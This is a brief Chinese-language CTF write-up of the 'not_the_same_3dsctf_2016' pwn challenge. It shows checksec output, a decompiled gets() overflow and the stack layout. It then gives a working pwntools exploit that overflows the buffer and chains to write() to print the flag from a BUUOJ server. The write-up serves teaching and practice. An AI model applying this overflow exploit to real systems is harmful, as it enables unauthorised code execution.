

思路

check一下保护

```
root@ubuntu:/home/giantbranch/Desktop/ctf# python exp.py
[*] '/home/giantbranch/Desktop/ctf/not_the_same_3dsctf_2016'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
Traceback (most recent call last):
```

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF
4
5     printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
6     gets(v4);
7     return 0;
8 }
```

溢出点在v4

0000002E	db ? ; undefined	
0000002D	var_2D	db 45 dup(?)
00000000	r	db 4 dup(?)
00000004	argc	dd ?
00000008	argv	dd ? ;
0000000C	envp	dd ? ;
00000010		
00000010	; end of stack variables	

没有ebp（一般情况下，有则所有函数都有，没有就全无）

fd: 文件描述符;

buf: 指定的缓冲区, 即指针, 指向一段内存单元;

nbyte: 要写入文件指定的字节数;

返回值: 写入文档的字节数 (成功); -1 (出错)

write函数的参数如上

exp如下

```
exp.py (~/Desktop/ctf) - gedit
Open Save
from pwn import *
elf = ELF('not_the_same_3dsctf_2016')
flag_addr = 0x080489A0
write_addr = elf.symbols['write']
string_addr = 0x080ECA2D
io = remote('node3.buuoj.cn', 25549)
payload = '\x00'*45+p32(flag_addr)+p32(write_addr)+'b'*4+p32(1)+p32(string_addr)+p32(45)
io.sendline(payload)
print(io.recvline())
io.interactive()|
```

```
KeyError: 'write'
root@ubuntu:/home/giantbranch/Desktop/ctf# python exp.py
[*] '/home/giantbranch/Desktop/ctf/not_the_same_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to node3.buuoj.cn on port 25549: Done
flag{a8235074-680a-4345-8eb0-4e760ff70cb8}

[*] Switching to interactive mode
\x00\x00timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
```